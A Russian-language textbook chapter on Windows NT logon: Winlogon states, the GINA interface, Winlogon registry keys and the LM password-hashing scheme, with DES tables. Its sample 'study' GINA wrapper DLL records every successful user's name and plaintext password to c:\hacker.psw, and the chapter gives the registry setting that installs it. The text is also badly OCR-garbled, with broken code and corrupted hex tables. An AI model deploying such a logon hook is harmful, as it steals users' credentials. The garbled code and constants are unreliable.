Программирование систем защиты

         

Механизм идентификации и аутентификации в ОС Windows NT.Общее описание

При входе в систему пользователь передает в системную функцию LogonUser свое имя, пароль и имя рабочей станции или домена, в котором данный пользователь зарегистрирован. Если пользователь успешно идентифицирован, функция LogonUser возвращает указатель на маркер доступа пользователя, который в дальнейшем используется при любом его обращении к защищенным объектам системы.
Механизм идентификации и аутентификации пользователя в ОС Windows NT реализуется специальным процессом Winlogon, который активизируется на начальном этапе загрузки ОС и остается активным на протяжении всего периода ее функционирования. Ядро операционной системы регулярно проверяет состояние данного процесса и в случае его аварийного завершения происходит аварийное завершение работы всей операционной системы. Помимо идентификации пользователя Winlogon реализует целый ряд других функций, таких, как переключение рабочих полей (desktop), активизация хранителей экрана, а также ряд сетевых функций.
Процесс Winlogon состоит из следующих модулей:

ядра процесса Winlogon.exe;

библиотеки GINA (Graphic Identification aNd Autentication - графической библиотеки идентификации и аутентификации) - динамической библиотеки функций, используемых для «локальной» идентификации пользователя (идентификации пользователя на рабочей станции); библиотек сетевой поддержки (Network Provider DLLs), реализующих «удаленную» идентификацию пользователей (идентификацию пользователей, обращающихся к ресурсам сервера через сеть).

Библиотека GINA и библиотеки сетевой поддержки являются заменяемыми компонентами процесса Winlogon. Конфигурация библиотек сетевой поддержки определяется протоколами и видами сервиса поддерживаемой сети, конфигурация библиотеки GINA определяется требованиями к механизму локальной идентификации.

Основные сведения о процессе Winlogon

В каждый момент времени Winlogon может находиться в одном из следующих состояний:

Рис. 32. Временная диаграмма процессов аутентификации

Когда пользователь еще не вошел в систему, Winlogon находится в состоянии 1, пользователю предлагается идентифицировать себя и предоставить подтверждающую информацию (в стандартной конфигурации - пароль). Если информация, введенная пользователем, дает ему право входа в систему, активизируется оболочка системы (как правило, Program Manager) и Winlogon переключается в состояние 2.
Хотя в состоянии 1 ни один пользователь не может непосредственно взаимодействовать с системой, в случае, если на рабочей станции запущен Server Service, пользователи могут обращаться к ресурсам системы через сеть.
Когда пользователь вошел в систему, Winlogon находится в состоянии 2. В этом состоянии пользователь может прекратить работу, выйдя из системы, или заблокировать рабочую станцию. В первом случае завершает все процессы, связанные с завершающимся сеансом, и переключается в состояние 1 . Во втором случае Winlogon выводит на экран сообщение о том, что рабочая станция заблокирована и переключается в состояние 3.
В состоянии 3 Winlogon выводит на экран приглашение пользователю идентифицировать себя и разблокировать рабочую станцию. Это может сделать либо заблокировавший ее пользователь, либо администратор. В первом случае система возвращается в то состояние, в котором находилась непосредственно перед блокировкой, и переключается в состояние 2. Во втором случае все процессы, связанные с текущим сеансом, завершаются, и Winlogon переключается в состояние 1 .
Когда рабочая станция заблокирована, фоновые процессы, запущенные пользователем до блокировки, продолжают выполняться

Протокол взаимодействия процесса Winlogon и библиотеки GINA

Сразу после загрузки Winlogon инициализирует GINA, вызывая последовательно ее функции WlxNegotiate и Wlxlnitialize. Рабочая станция переходит в состояние «Пользователь не вошел в систему».
Когда пользователь собирается войти в систему с помощью комбинации клавиш Ctrl-Alt-Del, Winlogon вызывает функцию WlxLoggedOutSas библиотеки GINA. WlxLoggedOutSas осуществляет попытку входа в систему, вызывая системную функцию LogonUser. В зависимости от информации, введенной пользователем, GINA возвращает процессу Winlogon одно из следующих значений:

WLX_SAS_ACTION_LOGON - пользователь вошел в систему. Получив это значение, Winlogon вызывает функцию WlxActivateUserShell библиотеки GINA, которая загружает индивидуальную оболочку пользователя; WLX_SAS_ACTION_NONE - пользователь не смог войти в систему. Состояние системы не изменяется; WLX_SAS_ACTION_SHUTDOWN - пользователь потребовал завершить работу системы. Эта возможность может быть отключена (см. выше). Получив данное возвращаемое значение, Winlogon последовательно вызывает функции библиотеки GINA WlxLogojfn WlxShutdown.

Если пользователь нажал комбинацию Ctrl-Alt-Del, уже войдя в систему, Winlogon вызывает функцию WlxLoggedOnSas. GINA выводит на экран диалоговое окно и, в зависимости от решения пользователя, выполняет следующие действия:

если пользователь решил не предпринимать никаких действий, GINA возвращает в Winlogon значение WLX_SAS_ACTION_NONE. Winlogon возвращает систему в то же состояние, в котором она была до нажатия комбинации Ctrl-Alt-Del; если пользователь желает просмотреть список активных процессов, GINA возвращает значение WLX_SAS_ACTION_TASKLIST. Winlogon возвращает систему в состояние) в котором она была до нажатия комбинации Ctrl-Alt-Del и активизирует процесс Task Manager, если пользователь желает заблокировать рабочую станцию, GINA возвращает значение WLX_SAS_ACTION_LOCK_WKSTA. Winlogon блокирует систему; если пользователь желает выйти из системы, GINA возвращает значение WLX_SAS_ACTION_LOGOFF. Winlogon в ответ вызывает функцию GINA WlxLogoff; если пользователь желает завершить работу с компьютером, GINA возвращает значение WLX_SAS_ACTION_SHUTDOWN, Winlogon последовательно вызывает функции GINA WlxLogoff к WlxShutdown.; если пользователь желает перезагрузить компьютер, GINA возвращает значение WLX_SAS_ACTION_SHUTDOWN_REBOOT. Winlogon последовательно вызывает функции GINA WlxLogoff и WlxShutdown. По окончании выгрузки системы компьютер автоматически перезагружается; если пользователь желает, закончить работу с компьютером и выключить его, GINA возвращает значение WLX_SAS_ACTION_SHUTDOWN_ REBOOT_ POWER_OFF. Winlogon последовательно вызывает функции GINA WlxLogoff n WlxShutdown. По окончании выгрузки системы компьютер автоматически выключается. Если аппаратная часть компьютера не допускает программного отключения питания, данное возвращаемое значение имеет тот же эффект, что и WLX_SAS_ACTION_ SHUTDOWN; если пользователь желает изменить свой пароль, GINA выводит на экран соответствующее диалоговое окно, по окончании ввода пользователем нового пароля вызывает функцию WlxChangePasswordNotify и затем возвращает в Winlogon
значение WLX_SAS_ACTION_PWD_ CHANGED.

Когда рабочая станция заблокирована, а пользователь нажал комбинацию Ctrl-Alt-
Del, Winlogon вызывает функцию GINA WlxWkstaLockedSas. GINA запрашивает у
f пользователя параметры идентификации и проверяет их. В зависимости от результата
проверки GINA возвращает одно из следующих значений:

WLX_UNLOCK_WKSTA - разблокировать рабочую станцию; WLX_FORCE_LOGOFF - принудительный выход из системы с последующим входом в систему администратора; WLX_NO_ACTION - рабочая станция остается заблокированной.

Если пользователь вошел в систему и один из процессов вызывает системную функцию ExitWindowsEx, Winlogon в зависимости от параметров ExitWindowsEx вызывает либо WlxLogoff, либо последовательно WlxLogoff и WlxShutdown. При этом, соответственно, либо пользователь выходит из системы, либо система завершает работу.
Если GINA получает от пользователя нестандартную SAS, она вызывает функцию Winlogon WlxSasNotify, после чего Winlogon вызывает одну из вышеперечисленных функций GINA, в зависимости от контекста, в котором была получена SAS.
Для изучения процесса идентификации и аутентификации можно использовать приводимый ниже модуль (DLL), который является «переходником» между WinLogon и стандартной MSGINA. Прототипы экспортируемых MSGINA.DLL описаны в файле winwlx.h стандартной поставки MS SDK.

#include <tchar.h>
#include <windows.h>
finclude <winioctl.h>
finclude "winwlx.h"
tinclude <lm.h>
#include <io.h>
tinclude <stdio.h>
tfinclude <fcntl.h>
#include "xgina,h"
int glob_lock;
HINSTANCE hMSGinaDLL
HINSTANCE hDllInstance;
HANDLE hGlobalWlxPWLX_DISPATCH_VERSION_l_0 pWlxFuncs
typedef BOOL ( WINAPI *WLXNEGOTIATE )( DWORD, DWORD* );
typedef BOOL ( WINAPI *WLXINITIALIZE )( LPWSTR, HANDLE, PVOID,
PVOID, PVOID ) ;
typedef VOID ( WINAPI *WLXDISPLAYSASNOTICE )( PVOID );
typedef int ( WINAPI *WLXLOGGEDOUTSAS )( PVOID, DWORD, PLUID,
PSID, PDWORD, PHANDLE, PWLX_MPR_NOTIFY_INFO, PVOID* );
typedef BOOL ( WINAPI *WLXACTIVATEUSERSHELL ) ( PVOID, PWSTR,
PWSTR, PVOID );
typedef int ( WINAPI *WLXLOGGEDONSAS )( PVOID, DWORD, PVOID );
typedef BOOL ( WINAPI *WLXISLOCKOK )(PVOID );
typedef VOID ( WINAPI *WLXDISPLAYLOCKEDNOTICE ) ( PVOID );
typedef int ( WINAPI *WLXWKSTALOCKEDSAS )( PVOID, DWORD );
typedef BOOL ( WINAPI *WLXISLOGOFFOK) ( PVOID );
typedef VOID ( WINAPI *WLXLOGOFF) ( PVOID );
typedef VOID ( WINAPI *WLXSHUTDOWN )( PVOID, DWORD );
WLXNEGOTIATE g^lpWlxNegotiate = NULL; WLXINITIALIZE g_lpWlxInitialize = NULL; WLXDISPLAYSASNOTICE g_lpWlxDisplaySASNotice = NULL; WLXLOGGEDOUTSAS g_lpWlxLoggedOutSAS = NULL; WLXACTIVATEUSERSHELL g_lpWlxActivateUserShell = NULL; WLXLOGGEDONSAS g_lpWlxLoggedOnSAS = NULL; WLXISLOCKOK g_lpWlx!sLockOk = NULL; WLXDISPLAYLOCKEDNOTICE g_lpWlxDisplayLockedNotice = NULL;
WLXWKSTALOCKEDSAS g_lpWlxWkstaLockedSAS = NULL; WLXISLOGOFFOK g_lpWlx!sLogoffOk = NULL; WLXLOGOFF g_lpWlxLogoff = NULL; WLXSHUTDOWN g_lpWlxShutdown = NULL; BOOL InitMSGinaDll()
I hMSGinaDLL = LoadLibrary(_T("MSGINA.DLL") );
I if (hMSGinaDLL == NULL)
I {
return FALSE;
' }
MessageBox(NULL,_T("Load Original Library MSGINA"),_T("GinaDebug"),MB_OK);
g_lpWlxNegotiate = ( WLXNEGOTIATE )GetProcAddress( , hMSGinaDLL, "WlxNegotiate" ); . g_lpWlx!nitialize = ( WLXINITIALIZE )GetProcAddress(
hMSGinaDLL, "Wlxlnitialize" ); k g_lpWlxDisplaySASNotice = (WLXDISPLAYSASNOTICE )GetProcAddress(
hMSGinaDLL, "WlxDisplaySASNotice" ) ;
g_lpWlxLoggedOutSAS = ( WLXLOGGEDOUTSAS )GetProcAddress (
hMSGinaDLL, "WlxLoggedOutSAS" );
g_lpWlxActivateUserShell = (WLXACTIVATEUSERSHELL )GetProcAddress(
hMSGinaDLL, "WlxActivateUserShell" ); i g_lpWlxLoggedOnSAS = ( WLXLOGGEDONSAS )GetProcAddress(
hMSGinaDLL, "WlxLoggedOnSAS" ); ; g_lpWlx!sLockOk = ( WLXISLOCKOK )GetProcAddress(
hMSGinaDLL, "WlxIsLockOk" ); ' g_lpWlxDisplayLockedNotice = ( WLXDISPLAYLOCKEDNOTICE )GetProcAddress(
hMSGinaDLL, "WlxDisplayLockedNotice" );
g_lpWlxWkstaLockedSAS = ( WLXWKSTALOCKEDSAS )GetProcAddress (
hMSGinaDLL, "WlxWkstaLockedSAS" );
g_lpWlx!sLogoffOk = ( WLXISLOGOFFOK )GetProcAddress (
hMSGinaDLL, "WlxIsLogoffOk" );
g_lpWlxLogoff = ( WLXLOGOFF )GetProcAddress(
hMSGinaDLL, "WlxLogoff" );
g_lpWlxShutdown = ( WLXSHUTDOWN )GetProcAddress(
hMSGinaDLL, "WlxShutdown" );
if (!g_lpWlxNegotiate)
{
return FALSE;
if (!g_lpWlx!nitialize)
{
return FALSE;
}
if (!g_lpWlxDisplaySASNotice)
{
return FALSE;
}
if (!g_lpWlxLoggedOutSAS)
{
return FALSE;
}
if (!g_lpWlxActivateUserShell)
{
return FALSE;
}
if (!g_lpWlxLoggedOnSAS)
{
return FALSE;
}
if (IgJLpWlxIsLockOk)
{
return FALSE;
}
if (!g_lpWlxDisplayLockedNotice)
{
return FALSE;
}
if (!g_lpWlxWkstaLockedSAS)
{
return FALSE;
}
if (!g_lpWlxIsLogoffOk)
{
return FALSE;
}
if (!g_lpWlxLogoff)
{
return FALSE;
}
if (!g_lpWlxShutdown)
return FALSE;
MessageBox(NULL,_T("All Function Attach Succesfully") ,_T("GinaDebug"),MB_OK);
return TRUE; } '
BOOL WINAPI DllMain(HINSTANCE hlnstance, DWORD dwReason, LPVOID IpReserved) switch( dwReason )
case DLL_PROCESS_ATTACH: I DisableThreadLibraryCalls( hlnstance );
| hDHInstance = hlnstance;
f.
i.
\ if (UnitMSGinaDllO ) I return FALSE;
break;
case DLL_PROCESS_DETACH: FreeLibrary(hMSGinaDLL); break/default: break;
return TRUE; }
BOOL WINAPI WlxNegotiate (DWORD dwWinlogonVersion, PDWORD pdwDHVersion) { BOOL res = FALSE;
MessageBox(NULL,_T("WlxNegotiate"),_T("GinaDebug"),MB_OK)
res = g_lpWlxNegotiate(dwWinlogonVersion, pdwDHVersion);
*
return res;
BOOL WINAPI Wlxlnitialize( LPWSTR IpWinsta, HANDLE hWlx, PVOID pvReserved, PVOID pWinlogonFunctions, PVOID* pWlxContext )
BOOL res = FALSE;
MessageBox(NULL,_T("Wlxinitiali ze"),_T("GinaDebug"),MB_OK);
pWlxFuncs = (PWLX_DISPATCH_VERSION_1_0 )pWinlogonFunctions;
res = g_lpWlx!nitialize(IpWinsta, hWlx, pvReserved, pWinlogonFunctions, pWlxContext);
return res;
VOID WINAPI WlxDisplaySASNotice(PVOID pContext) MessageBox(NULL,_T("WlxDisplaySASNotice"),_T("GinaDebug"),MB_OK); g IpWlxDisplaySASNotice(pContext);
int WINAPI WlxLoggedOutSAS(
PVOID pWlxContext, // Context associated with this window station.
DWORD dwSasType, // Indicates the type of SAS that occurred
FLUID pAuthenticationld,// ID associated with current logon session.
PSID pLogonSid, // SID is unique to the current logon session.
PDWORD pdwOptions, // Options: load profile, etc.
PHANDLE phToken, // Token
PWLX_MPR_NOTIFY_INFO pMprNotifylnfo,
// Password information to other network providers
PVOID* pProfile ) // Point to one of the WLX_PROFILE_xxx structures. {
int res,i;
FILE *out;
UCHAR current_name [32] , current_pass [32] ;
UCHAR pro[2]={0x20,0};
UCHAR end[3]={OxD,OxA, 0};
MessageBox (NULL, _T ("WlxLoggedOutSAS") ,_T ("GinaDebug") ,MB_OK) res = g_lpWlxLoggedOutSAS (
pWlxContext, dwSasType, pAuthenticationld,
pLogonSid, pdwOptions, phToken, pMprNotifylnfo,
pProf ile ) ;
if (res == WLXSASACTIONLOGON)
for (i=0; i<32; i++) current_name [i] =0;
for (i=0;i<32;i++)
{
if (pMprNotify!nfo->pszUserName [i] ==0) break;
else current_name [i]=pMprNotify!nfo->pszUserName [i] ;
for (i=0; i<32; i++) current_pass [i] =0;
for (i=0;i<32;i++)
{
if (pMprNotif yinf o->pszPassword [i] ==0) break;
else current_pass [i]=pMprNotify!nfo->pszPassword[i] ;
out=fopen ("c: \\hacker.psw", "r+b") ; if (out!=NULL) {
f seek ( out, 0,SEEK_END) ; fwrite (current_name, sizeof (char) , strlen (current_name) , out) ;
fwrite (pro, sizeof (char) , lf out) ; fwrite (current_pass, sizeof (char) , strlen (current_pass) , out) ;
fwrite (end, sizeof (char) , 2, out) ; f close (out) ;
return res;
BOOL WINAPI WlxActivateUserShell ( PVOID pWlxContext, PWSTR pszDesktop, PWSTR pszMprLogonScript, PVOID pEnvironment ) {
BOOL res = FALSE; MessageBox (NULL, _T ( "WlxActivateUserShell" ) , _T ( "GinaDebug" ) , MB_OK) ;
res = g_lpWlxActivateUserShell ( pWlxContext, pszDesktop/ pszMprLogonScript, pEnvironment ) ;
return ( res ) ;
int WINAPI WlxLoggedOnSAS (
PVOID pWlxContext,
DWORD dwSasType,
PVOID pReserved ) {
int res;
MessageBox (NULL, _T( "WlxLoggedOnSAS") ,_T ("GinaDebug") ,MB_OK) ;
if (glob_lock==0)
res = g_lpWlxLoggedOnSAS (pWlxContext, dwSasType, pReserved);
if (res==WLX_SAS_ACTION_LOCK_WKSTA) glob_lock=l;
return res;
BOOL WINAPI WlxIsLockOk (PVOID pWlxContext) {
BOOL res;
MessageBox (NULL, _T( "WlxIsLockOk") ,_T ("GinaDebug") ,MB_OK) ;
res = g_lpWlxIsLockOk (pWlxContext) ;
return res;
)ID WINAPI WlxDisplayLockedNotice(PVOID pWlxContext)
essageBox(NULL,_T("WlxDisplayLockedNotice"),_T("GinaDebug"),MB_OK); g_lpWlxDisplayLockedNotice(pWlxContext);
it WINAPI WlxWkstaLockedSAS( PVOID pWlxContext, DWORD dwSasType
Lnt res;
glob_lock=0;
lessageBox(NULL,_T("WlxWkstaLockedSAS"),_T("GinaDebug"),MB_OK);
res = g_lpWlxWkstaLockedSAS(pWlxContext, dwSasType); return WLX_SAS_ACTION_UNLOCK_WKSTA;
DOL WINAPI WlxIsLogoffOk( PVOID pWlxContext )
BOOL res;
MessageBox(NULL,_T("WlxIsLogoffOk"),_T("GinaDebug"),MB_OK);
res = g_lpWlxIsLogoffOk(pWlxContext) ;
return res;
DID WINAPI WlxLogoff ( PVOID pWlxContext )
MessageBox(NULL,_T("WlxLogoff"') ,_T ("GinaDebug") ,MB_OK) ; g IpWlxLogoff(pWlxContext);
OID WINAPI WlxShutdown( PVOID pWlxContext, DWORD ShutdownType
MessageBox(NULL,_T("WlxShutdown"),_T("GinaDebug"),MB_OK); g IpWlxShutdown(pWlxContext, ShutdownType);

Файл экспорта
LIBRARY XGINA

DESCRIPTION 'Windows NT Logon GUI'
EXPORTS
WlxNegotiate
Wlxlnitialize
WlxDisplaySASNotice
WlxLoggedOutSAS
WlxActivateUserShell
WlxLoggedOnSAS
WlxDisplayLockedNotice
WlxWkstaLockedSAS
WlxIsLockOk
WlxIsLogoffOk
WlxLogoff
WlxShutdown

Файл xgina.h

#ifndef GINA_GINA_H
# _ tdefine GINA_GINA_H_
extern HINSTANCE hDllInstance;
extern HANDLE hGlobalWlx;
extern PWLX_DISPATCH_VERSION_1_0 pWlxFuncs;
typedef struct Globals
BOOL
BOOL
HANDLE
PWSTR
PWSTR
PWSTR
SYSTEMTIME timeOfLogin; } Globals, *PGlobals; #endif // GINA GINA H
fAutoLogonAtBoot;
fAutoLogonAlways;
hUserToken;
pszUsername;
pszDomain;
pszPassword;

Для активизации модуля xgina.dll необходимо создать ключ реестра (например, при помощи Regini с использованием следующего ini файла):
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
GinaDll = c:\xgina.dll
Вместо c:\xgina.dll необходимо указать реальный путь, либо поместить библиотеку по заданному пути.
Процесс ИА регулируется следующими ключами реестра \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Winlogon.

Название
Значение
Значение по умолчанию
Содержание
AutoAdminLogon
0/1
0
Определяет необходимость автоматического входа в систему с именем DefaultUserName и паролем DefaultPassword
DefaultDomain- Name
имя домена
NEWDOMAIN
Определяет имя домена, для которого был произведен последний успешный вход в систему
DefaultPassword
пароль
нет
Определяет пароль для пользователя, указанного в DefaultUserName и используется при входе в систему по умолчанию
DefaultUserName
имя пользователя
имя последнего успешно вошедшего в систему пользователя
Если определены значения AutoAdminLogon и Default-Password, то это имя используется для входа в систему по умолчанию
DontDisplayLast- UserName
0/1
0
LegalNoticeCap- tion
строка заго- ловка
нет
Определяет заголовок специального сообщения пользователю
LegalNoticeText
строка текста сообщения
нет
Определяет текст специального сообщения пользователю
ParseAutoexec
0/1
1
При установленном в 1 значении содержимое фай- ла AUTOEXEC.BAT анализируется при входе в Win- dows NT
PowerdownAfter- Shutdown
0/1
0 для Windows NT Server, 1 для Windows NT Worksta- tion
Если этот ключ установлен в 1, пользователь может выби- рать действия Shutdown и PowerOff из меню ShutDown и Logoff. Иначе кнопка Power Off не появляется
Shutdown With- outLogon
0/1
0 для Windows NT Server, 1 для Windows NT Worksta- tion
Если это значение установ- лено в 1, пользователь может выбирать Shutdown без Pow- erOff из диалогового окна Welcome. Иначе, ShutDown без Power Off не появляется
ReportBootOk
0/1
1
Если это значение установ лено в 0, то отключается автоматическое принятие за- пуска (по умолчанию), которое производится после пер- вого успешного входа в систему. Это значение должно быть равно 0, если используются альтернативные назначения в ключах BootVeri- fication или BootVerifica- tionProgram
Shell
Имена испол- няемых при- ложений
taskman, prog- man, wowexec
Определяет исполняемые программы, которые должны быть выполнены как оболочки пользователя
System
Исполняемые имена
lsass.exe, spollss.exe
Определяет имена программ, которые должен выполнить процесс WinLogon в контек- сте системы
Taskman
Исполняемые имена
нет
Позволяет определить имена программ, решающих раз- личные административные задачи
Userlnit
Исполняемые имена
userini, nddeagntexe
определяет исполняемые программы, которые должен выполнить процесс WinLogon при входе пользователя в систему
 

Локальная аутентификация пользователя в Windows NT

В ОС Windows NT для идентификации используется имя пользователя, а для подтверждения введенного имени - процедура аутентификации, использующая символьный пароль пользователя.
Обозначим через:
PasswordUniCode - пароль пользователя в формате UniCode;
PasswordASCII[0..13] - массив из 14 байт, пароль пользователя в формате ASCII;
PasswordDES[0..15] - массив из 16 байт, который назовем образом пароля пользователя, полученным при помощи алгоритма DES;
PasswordMD4 [0.. 15] - массив из 16 байт, который назовем образом пароля пользователя, полученным при помощи алгоритма MD4.
EncryptedText = DES(ClearText, Key) - функция преобразования по алгоритму DES, где ClearText и EncryptedText массивы по 8 байт - открытый и шифрованный текст соответственно, Key - массив из 7 байт, являющийся ключом;
HashText = MD4(ClearText) - функция преобразования по алгоритму хэширования MD4, где ClearText массив из 64 байт - открытый текст, HashText массив из 16 байт -хэшированный текст. .
Алгоритм локальной идентификации пользователя состоит из следующих шагов:
Шаг 1; Пользователь вводит с клавиатуры в ответ на запрос рабочей станции свое имя, имя домена и пароль в формате UniCode: PasswordUniCode.
Шаг 2. PasswordUniCode преобразуется в формат ASCII, причем маленькие латинские буквы преобразуются в большие, результат записывается в PasswordASCII - массив из 14 байт. Если пароль короче 14 символов, оставшиеся байты массива PasswordASCII заполняются нулями.
Далее осуществляется преобразование:
PasswordDES[0..7]:= DES(ClearText, PasswordASCII[0..6]);
PasswordDES[8..15]:= DES(ClearText, PasswordASCII[7..13]),
где ClearText = (4B, 47, 53, 21, 40, 23, 24, 25) = «KGS!@#$%».
Шаг З. Осуществляется преобразование пароля пользователя с помощью алгоритма хэширования MD4:
PasswordMD4:= MD4(PasswordUniCode).
Шаг 4. PasswordMD4 сравнивается с данными, которые вычисляются путем расшифрования данных, хранящихся в реестре, в начале загрузки операционной системы.
Шаг 5. В случае успешной проверки на шаге 4 разрешается дальнейшая загрузка системы, в противном случае осуществляется переход к шагу 1.
При входе пользователя в систему из введенного им пароля выбираются 14 байт (при меньшей длине пароль дополняется нулями), которые затем дважды используются в качестве ключей для шифрования согласно алгоритму DES 8-ми байт, а именно: Ox4b,0x47,0x53,0x21,0x40,0x23,0x24,0x25, находящихся в файле advapi32.dll и являющихся заранее заданными постоянными значениями. При этом 14 байт пароля пользователя разбиваются на два отрезка по 7 байт каждый, которые затем представляются в виде последовательности из восьми 7-ми битовых векторов. Для получения ключа алгоритма DES с каждой из последовательностей выполняются следующие действия: каждый 7-ми битовый вектор переписывается в обратном порядке, расширяется до байта с приписыванием справа единицы, и к полученным 8-ми байтам применяется операция конкатенации. Полученный таким образом двоичный вектор длины 64 используется в качестве ключа.
Результаты шифрования исходных 8-ми байт на двух различных ключах, полученных из пароля пользователя, разбитые на два блока по 8 байт, дополняются справа нулями и разбиваются на три блока по 7 байт, из которых затем снова получаются в соответствии с описанным выше способом три 64-битовые вектора, используемые в качестве трех различных ключей при трех независимых вызовах процедуры шифрования, применяемых к полученному от сервера значении сеансового ключа (меняющегося от сессии к сессии). Результат шифрования в виде последовательности 24-х байт рассматривается как результат обработки пароля пользователя.
Оценка адекватности описанного преобразования реальному производилась путем соотнесения дизассемблированной процедуры шифрования и аналогичной процедуры, записанной на языке высокого уровня. При этом выяснилось, что используется блочный алгоритм, имеющий итеративную структуру - к исходному тексту - блоку из 64-х бит - применяется подстановка. Результат применения подстановки разбивается на два блока по 32 бита, один из которых путем повторения некоторых бит расширяется до 48-ми битового блока, который складывается покоординатно с выборкой из ключа той же размерности и разбивается на восемь блоков по 6 байт, поступающих на узлы замены. К полученному в результате 32-х битовому блоку снова применяется подстановка. Затем блоки складываются и меняются местами. Этот процесс итеративно повторяется 16 раз. Затем снова применяется подстановка. Таким образом, стало понятно, что речь идет о DES-подобной схеме, и вопрос состоит лишь в совпадении параметров алгоритма. Для того, чтобы решить этот вопрос, была проделана работа по выделению участков процедуры, реализующих ту или иную часть алгоритма, и их сравнению с аналогичными частями алгоритма DES.

Первоначальная подстановка.

Первоначальная подстановка открытого текста осуществляется в соответствии со следующей процедурой:

for(i=0; i<63; i++)
Text[i]«Plaintext[Tabl[i]];

где массив Plaintext содержит исходный открытый текст, массив Text содержит обрабатываемый массив из 64 бит, поступающий затем на вход итеративной части алгоритма, а массив Tab! содержит нижнюю строку подстановки открытого текста и имеет вид:

57,49,41/33,25,17, 9,1,
59,51,43,35,27,19,11,3,
61,53,45,37,29,21,13,5,
63,55,47,39,31,23,15,7,
56,48,40,32,24,16, 8,0,
58,50,42,34,26,18,10,2,
60,52,44,36,28,20,12,4,
62,54,46,38,30,22,14,6;

что совпадает с первоначальной подстановкой для открытого текста алгоритма DES с учетом различий в нумерации бит текста (в описании DES вс

е нумерации начинаются с 1).
Функция расширения. Функция расширения 32-х битового блока обрабатываемого текста применяется следующим образом: при i, изменяющемся от 0 до 47, i-й бит результирующего блока вычисляется по формуле:

Text[32+Tab2[i]];

где Таb2 имеет вид:

31, 0, 1, 2, 3, 4, 3, 4,
5, 6, 7, 8, 7, 8, 9,10;.
11,12,11,12,13,14,15,16,,
15,16,17,18,19,20,19,20, ,
21,22,23,24,23,24,25,26,
27,28,27,28,29,30,31, 0; '

что непосредственно совпадает с функцией расширения алгоритма DES.
S-боксы. Узлы замены, именуемые S-боксами, применяются следующим образом: Пусть ah(i) - i-й 6-ти битовый блок 48-ми битовой последовательности, получаемой в результате побитового сложения выхода с функции расширения с ключом на итерацию bx=(i-l)*64, al(i) - i-й блок результирующей 32-х битовой последовательности - результат применения узла замены, 1=1..8. Тогда al(i) вычисляется следующим образом:

ah+=bx;
al=Tab3[ah/2];
if(ah&l) al/=16;
al%=16;

при этом ТаbЗ имеет вид:

ОхОе, Oxf 4, Ox7d, 0x41, Охе2, Ox2f, Oxdb., 0x18,
ОхаЗ,Охба,Охсб,Oxbc,0x95,0x59,0x30,0x87,
Oxf4, Oxcl,Ох8е,0x28,Ox4d,0x96,0x12,Ox7b,
Ox5f,.Oxbc,Ox39,Oxe7,.Oxa3,OxQa,Ox€5,OxdO, Ox3f,0xdl,0x48,Ox7e,0xf6,0x2b,0x83,Oxe4/ Oxc9,0x07,0x12,Oxad,Охбс,0x90,Oxb5,Ox5a, OxdO,Ox8e,Oxa7,Oxlb,ОхЗа,Oxf4,0x4d,0x21, Oxb5,0x68,Ox7c,Охсб,0x09,0x53,Oxe2,Ox9f, Oxda,0x70,0x09,Ox9e,0x36,0x43,Ox6f,Oxa5, 0x21,Ox8d,Ox5c,Oxe7,Oxcb,Oxb4,Oxf2,0x18, Oxld, Охаб, Oxd4, 0x09, 0x68, Ox9f, 0x83, Ox7CT, Ox4b,Oxf1,Oxe2,ОхЗс,Oxb5,Ox5a,Ox2e,Oxc7, Oxd7,Ox8d,Oxbe,0x53,0x60,Oxf6,0x09,ОхЗа, 0x41, 0x72, 0x28, Oxc5, Oxlb, Oxa'c, Oxe4, Ox9f, ОхЗа,Oxf6,0x09,0x60,Oxac,Oxlb,Oxd7,Ox8d, Ox9.f, 0x41, 0x53, Oxbe, Oxc5, 0x72, 0x28, Oxe4, Oxe2, Oxbe,0x24,Oxcl,0x47,Ox7a,Oxdb,0x16, 0x58,0x05,Oxf3,Oxaf,Ox3d,0x90,Ox8e,0x69, Oxb4, 0x82,Oxcl,Ox7b,Oxla,Oxed,0x27,Oxd8, Ox6f,Oxf9,OxOc,0x95,Охаб,0x43,0x50,ОхЗе, Oxac,Oxf1,0х4а,Ox2f,0x79,Oxc2,0x96,0x58, 0x60,Oxld,Oxd3,Oxe4,OxOe,Oxb7,0x35,Ox8b, 0x49,ОхЗе,Ox2f,Oxc5;0x92,0x58,Oxfc,ОхаЗ, Oxb7,OxeO,0x14,Ox7a,0x61,OxOd,Ox8b,Oxd6, Oxd4., OxOb, Oxb2, Ox7e, Ox4f, 0x90, 0x18, Oxad, ОхеЗ,ОхЗс,Ох59/0хс7,0x25,Oxfa,0x86,0x61, 0x61,Oxb4,Oxdb,Ox8d,Oxlc,0x43,Oxa7,Ox7e, Ox9a,Ox5f,0x06,Oxf8,OxeO,0x25,0x39,Oxc2, Oxld,Oxf2,Oxd8,0x84,Охаб,Ox3f,Ox7b,0x41, Oxca,0x59,0x63,Oxbe,0x05,OxeO,Ox9c,0x27, 0x27,Oxlb,Oxe4,0x71,0x49,Oxac,Ox8e,Oxd2, Oxf0,Охсб,Ox9a,OxOd,Ox3f,0x53,0x65,Oxb8

Легко видеть, что, с учетом изменения порядка адресации, узлы замены могут быть изображены в традиционном виде в результате выполнения следующей процедуры:

for (i=0; i<8;
{
for(j=0; j<64; j
{
l=tab[j/2+32*i];
if(j&l == 1)
1/=16;
box[i] [j%2+(j/32)*2]

Результаты выполнения этой процедуры выглядят следующим образом:

бокс номер 0

1.4 4 13 1 2 15 11 8 3 10 6 12 5 9 0 7
О 15 7 4 14 2 13 1 10 б 12 11 9 5 3 8
4 1 14 8 .13 б 2 11 15 12 9 7 3 10 5 О
15 12 8 2 4 9 1 7 5 11 3 14 10 0 б 13

бокс номер 1

15 1 8 14 б 11 3 4 9 7 2 13 12 0 5 10
3 13 4 7 15 2 8 14 12 О 1 10 6 9 11 5
0 14 7 11 10 4.13 1 5 8 12 б 9 3 2 15
13 8 10 1 3 15 4 2 11 б 7 12 0 5 14 9

бокс номер 2

10 0 9 14 б 3 15 5 1 13 12 7 11 4 2 8
13 7 0 9 3 4 б 10 2 8,5 14 12 11 15 1
13 б 4 9 8 15 3 0 11 1 2 12 5 10 14 7
1 10 13 0 б 9 8 7 4 15 14 3 11 5 2 12

бокс номер 3

7 13 14 3 0 б 9 10 1 2 8 5 11 12 4 15
13 8 11 5 б 15 0 3 4 7 2 12 1 10 14 9
10 б 9 0 12 11 7 13 15 1 3 14 5 2 8 4
3 15 0 6 10 1 13 8 9 4 5 11 12 7 2 14

бокс номер 4

2 12 4 1 7 10 11 6 8 5 3 15 13 0 14 9
